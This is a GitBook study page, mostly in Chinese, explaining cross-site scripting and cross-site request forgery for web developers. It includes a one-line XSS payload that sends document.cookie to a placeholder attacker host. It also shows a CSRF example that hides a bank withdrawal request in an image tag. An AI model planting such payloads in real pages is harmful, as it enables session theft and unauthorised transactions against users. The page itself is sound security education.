WEB General
  • Introduction
  • JWT vs Session
  • Stream & Multipart
  • Digital Ocean - steps
  • Security - SSH/firewall/VPN
  • Security - MongoDB
  • Security - XSS|CSRF
  • MISC
  • STACK = websocket & socketIO
  • STACK = FE Glossary
  • STACK = BE Glossary
  • STACK = Security Glossary
  • websocket
Powered by GitBook
On this page
  • XSS
  • CSRF

Was this helpful?

Security - XSS|CSRF

XSS

Cross-site scripting - 讓受害者browser執行javascript, 傳送資料到駭客server

  1. 駭客在網頁埋入一段<script>window.location='http://attacker/?cookie='+document.cookie</script>, 例如發送到論壇

  2. 使用者進入論壇, 網頁自動執行script, 把自己的cookie/keylogging送到駭客server

CSRF

Cross-site request forgery - 不是偷取機密資料, 而是讓使用者發送惡意request, 因為session存在, 所以不需重新認證

  1. 假設轉帳的api request http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName

  2. 駭客把此request埋在圖片 <img src='...'>

  3. 使用者有去銀行網站瀏覽, session還存在

  4. 點擊惡意request, 因為session還存在, 所以發送request給銀行

PreviousSecurity - MongoDBNextMISC

Last updated 5 years ago

Was this helpful?